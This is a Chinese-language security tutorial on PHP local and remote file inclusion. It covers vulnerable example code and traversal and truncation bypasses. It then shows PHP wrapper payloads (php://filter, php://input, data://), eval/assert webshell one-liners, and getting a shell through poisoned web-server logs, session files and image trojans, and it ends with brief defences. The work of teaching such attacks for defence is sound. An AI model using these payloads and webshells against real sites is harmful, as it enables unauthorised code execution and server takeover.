文件包含 漏洞


0x00文件包含漏洞 概述

什么是文件包含

  • 程序开发人员通常会把可重复使用的函数 写到单个文件中,在使用某个函数的时候,直接调用此文件 ,无需再次编写,这种调用文件的过程通常称为包含。

造成文件包含的原因

  • 为了代码更灵活,通常会把被包含的文件设置为变量 ,进行动态调用 ,从而导致客户端可以调用任意文件 ,造成文件包含漏洞。

  • 动态包含的文件路径参数,客户端可控

包含漏洞原理解析

  • 大多数 web 语言都可以使用文件包含操作,其中 PHP 语言所提供的文件包含功能太强大、太灵活 。所以包含漏经常岀现在 PHP 语言中,在 JSP/ASP/ASP.net 程序中比较少,甚至没有包含漏洞的存在,这与程序开发人员的水平无关,而问题在于语言设计的弊端。

漏洞原理

  • PHP 中提供了四个文件包含的函数,分别是 include()、 include_once()、 require() 和 require_once()

  • 这四个函数都进行文件包含,但是作用不一样,区别如下:

函数
说明
include() 找不到被包含的文件时只**** 产生警告 ,脚本将**** 继续执行
include_once()
此语句和 include() 语句类似,唯一区别是如果该文件中的代码已经被包含,则不会再次包含
require() 找不到被包含的文件时会产生**** 致命错误 ,并**** 停止脚本
require_once() 此语句和 require()语句类似,唯一区别是如果该文件中的代码已经被包含,则不会再次包含
  • require() 和 include() 函数的区别:使用 require() 函数包含文件时,只要程序执行,立即调用文件 ,而 include() 只有程序执行到该函数时才调用

  • 其他用于包含的函数: highlight_file()、 show_source()、 readfile()、 file_get_contents()、 fopen()、file()

0x01 文件包含漏洞 原理

  • web应用对用户的输入没有进行过滤或者严格过滤就带入文件包含函数中执行

0x02 文件包含漏洞 分类

本地文件包含(LFI)

LFI 概述

本地包含的概念

  • 指通过相对路径/绝对路径 的方式能打开并包含 本地文件的漏洞,大部分情况遇到的文件包含漏洞都是 LFI

包含条件

  • 用户可以 动态控制变量

无限制 LFI 利用

经典代码

<?php
  $filename = $_GET['filename'];
  include($filename);
?>

漏洞利用

  1. 获取系统中的其他文件内容
  • 绝对路径 读取本地 host 文件

  • payload:?action=C:\Windows\System32\drivers\etc\hosts

  • 相对路径 读取本地 host 文件

  • payload:?action=..\ ..\ ..\ ..\ ..\ ..\ ..\ ..\ ..\Windows\System32\drivers\etc\hosts

  1. 包含图片马
  • 可以利用文件包含漏洞直接包含图片马

  • payload:?action=./test.jpg

  • 使用蚁剑连接成功

有限制 LFI 绕过

经典代码

<?php
  $filename = $_GET['filename'];
  include($filename.".php");
?>

绕过方法

  1. %00 截断
  • 条件:1. magic_quotes_gpc = Off 2. php 版本 < 5.3.4

  • 获取 phpinfo.php 文件
    payload:?action=phpinfo.php%00

  1. 路径长度截断
  • 条件:windows 系统需要长于 197 字符 (即 >=198),超出的部分会被丢弃

  1. 点号截断
  • 条件:windows 系统,点号需要长于 197

  1. zip phar伪协议

远程文件包含(RFI)

RFI 概述

远程包含的概念

  • 指的是能够包含远程服务器上的文件并执行,可以通过 http(s)或者 ftp 等方式,远程加载文件

危害

  • 由于远程服务器的文件是我们可控的,因此漏洞一旦存在危害性会很大

包含条件

  • allow_url_include = On (默认为 OFF,需要在 php.ini 中手动打开)

  • allow_url_fopen = On (是否允许打开远程文件)

  • 用户可以动态控制变量

举例

  • [URL]?path=http ??/ip/info.php //通过 http 协议加载目标机中的 info,php 文件

  • [URL]?path:ftp ??/用户名:密码 @ip/info.php //通过 ftp 协议加载目标机中的 info.php 文件

有限制 RFI 绕过

  1. ? 绕过
  • payload:?action=http://192.168.152.143/phpinfo.php?

  1. 绕过

  • payload:?action=http://192.168.152.143/phpinfo.php%23

  1. 空格 绕过
  • payload:

  • ?action=http://192.168.152.143/phpinfo.php%20

  • ?action=http://192.168.152.143/phpinfo.php+

  • ?action=http://192.168.152.143/phpinfo.php abc

  1. python模拟http脚本

PHP 伪协议

PHP 伪协议概述

什么是伪协议

  • PHP 伪协议事实上就是支持的协议封装协议

PHP 伪协议的用途

名称 作用
file:// 访问本地文件系统
http:// 访问 HTTP(s)网址
ftp:// 访问 FTP(s)URLS
php:// 访问各个输入/输出流
zlib:// 压缩流
data:// 数据(RFC2397)
rar:// RAR

常见 PHP 伪协议

file://

  • 用途:访问 本地系统文件

  • 使用条件:

  • allow_url_fopen = off/on

  • allow_url_include = off/on

  • file:// 协议在两个配置都为 off 的情况下是可以正常使用的

  • 使用:file://文件的绝对路径和文件名

  • 举例:[?path=file://c:\windows\system32\drivers\etc\hosts]

php://filter

  • 用途:常用于读取文件/源码

  • 使用条件:

  • allow_url_fopen = off/on

  • allow_url_include = off/on

  • php://filter 协议在两个配置都为 off 的情况下是可以正常使用的

  • 使用:[?path=php://filter/read=convert.base64-encode/resource =文件.php]

  • 注意:通过指定末尾的文件,可以读取经 base64 加密后的文件源码 ,之后再 base64 解码,虽然不能直接获取到 shell,但能读取敏感文件

  • php://filter 协议与 file:// 协议的区别:file 协议只能使用 绝对路径 ,filter 协议相对路径和绝对路径 都可以使用

php://input

  • 用途:可以访问请求的的原始数据的只读流。将 post 请求中的数据作为 PHP 代码执行

  • 使用条件:

  • allow_url_fopen = off/on

  • allow_url_include = on

  • 使用:

?file=php://input
[POST]:<?php phpinfo()?>  (执行POST DATA中的内容)

  • webshell构造
URL: http://192.168.172.150/include.php?file=php://input
Webshell密码: <?php @assert($_POST[1])?>&1

其他 PHP 伪协议

data://

  • 用途:数据(RFC2397)

  • 使用条件:

  • allow_url_fopen = on

  • allow_url_include = on

  • 使用:

?file=data:text/plain,<?php phpinfo();?>
?file=data:text/plain;base64, PD9waHAgcGhwaW5mbygpPz4=
?file=data:text/plain,
  • webshell构造
URL: http://192.168.172.150/include.php?file=data://text/plain,<?php eval($_POST[1])?>
Webshell密码: 1

zip://

  • 用途:读取压缩包内的文件(绝对路径/相对路径)

  • 使用条件:

  • allow_url_fopen = on

  • allow_url_include = off

  • 使用:

zip://archive.zip                # dir/file.txt
zip://[压缩文件绝对/相对路径]     # [压缩文件内的子文件名]
?file=zip://D:WWW/file.zip%23phpcode.txt
?file=zip://D:WWW/file.jpg%23phpcode.txt
?file=zip://D:WWW/file.jpg%23phpcode

phar://

  • 用途:读取压缩包内的文件(绝对路径/相对路径)

  • 使用条件:

  • allow_url_fopen = on

  • allow_url_include = off

  • 使用:

?file=phar://D:/phpStudy/WWW/fileinclude/test.zip/phpinfo.txt
?file=phar://test.zip/phpinfo.txt
  • 其他类似协议

  • bzip2://

  • zlib://

0x03 文件包含漏洞 利用

LFI getshell

LFI httpd 日志

原理

  • 当我们访问网站时,服务器的日志中都会记录我们的行为,当我们访问链接中包含 PHP 一句话木马时,也会被记录到日志中。这时候我们如果知道服务器的日志位置,我们可以去包含这个文件从而拿到 shell。

  • 其实整个“包含日志文件漏洞利用”最关键的就是找日志存放的“物理路径”,只要找到日志的物理存放路径,一切就可以按部就班的完成利用了。

条件

  1. 需要已知 httpd 日志路径,默认为 /var/log/httpd

  2. 需要有目录和文件权限

  • httpd 日志目录(至少需要 进入 x 权限)

  • access_log,error_log 等日志文件 (至少需要有 读 r 权限)

  1. 需要文件包含漏洞

利用

  1. 目标机 myinclude.php 存在文件包含漏洞,代码如下
<?php
        $filename=$_GET['file'];
        include($filename);
?>
  1. 已知 httpd 日志路径 /var/log/httpd/access_log 且有权限访问

  1. 利用 burp 构造恶意 带一句话木马请求,让其存到 httpd 日志文件中

  1. 利用蚁剑尝试连接日志文件,成功连接

LFI nginx 日志

条件:

  1. 需要已知 nginx 日志路径

  2. 需要有目录和文件权限

  • httpd 日志目录(至少需要 进入 x 权限)

  • access_log,error_log 等日志文件 (至少需要有 读 r 权限)

  1. 需要文件包含漏洞

利用:

  1. 目标机 include.php 存在文件包含漏洞,代码如下
<?php
        $filename=$_GET['file'];
        include($filename);
?>
  1. 已知 nginx 日志路径 C:\phpstudy_pro\Extensions\Nginx1.15.11\logs\access.log 且有权限访问

  1. 利用 burp 构造恶意 带一句话木马请求,让其存到 nginx 日志文件中

  1. 利用蚁剑尝试连接日志文件,成功连接

LFI session 日志

原理:

  • PHP 则是将 session 以文件的形式存储在服务器某个文件中,可以在 php.ini 里面设置 session 的存储位 session.save_path

  • 我们通过构造一句话木马传参,这个 session 值包含我们传入参数的值或编码后的值。这时候我们如果知道服务器的 session 文件位置,我们就可以去包含这个文件从而拿到 shell。

条件:

  1. 已知 session 文件路径 且有读取权限,以下是 session 文件的一些默认路径
/var/lib/php/sess_PHPSESSID
/var/lib/php/sessions/sess_PHPSESSID
/tmp/sess_PHPSESSID
/tmp/sessions/sess_PHPSESSID
  1. 可以分析出 session 文件的命名规则

  2. 某些 session 字段是可控的

  3. 存在文件包含漏洞

利用:

  1. 目标机存在 session.php 和 include.php
//session.php
<?php
    session_start();
    $username = $_POST['username'];
    $_SESSION["username"] = $username;
?>
<?php
    $file  = $_GET['file'];
    include($file);
?>
  1. session.php 中 username 字段是可控的。hackbar 构造一句话木马写入 session。

  1. 已知 session 文件路径 /var/lib/php/session/xxx ,分析命名规则就是 sess_+Cookie 中的 PHPSESSID 值

  1. 利用蚁剑尝试连接 session 文件,成功连接

LFI ssh日志

  • 默认路径:/var/log/secure

  • include.php?file=/var/log/secure

  • 一般apache用户不可读

LFI 图片马

条件:

  1. 可以上传图片,知道图片存放路径

  2. 有文件包含漏洞

?利用:

  1. 上传图片马

  1. 利用文件包含漏洞访问图片马

  1. 利用蚁剑尝试连接图片马,成功连接

0x04 文件包含漏洞防御

  1. 代码层修复
  • 进行文件过滤,将包含的参数设置为白名单即可
  1. 服务器安全配置
  • 修改PHP配置文件,将open_basedir的值设置为可以包含特定目录后面要加/。Eg:open_basedir=/var/www/html

  • 修改PHP的配置文件,关闭allow_ur_include 可以防止远程文件包含。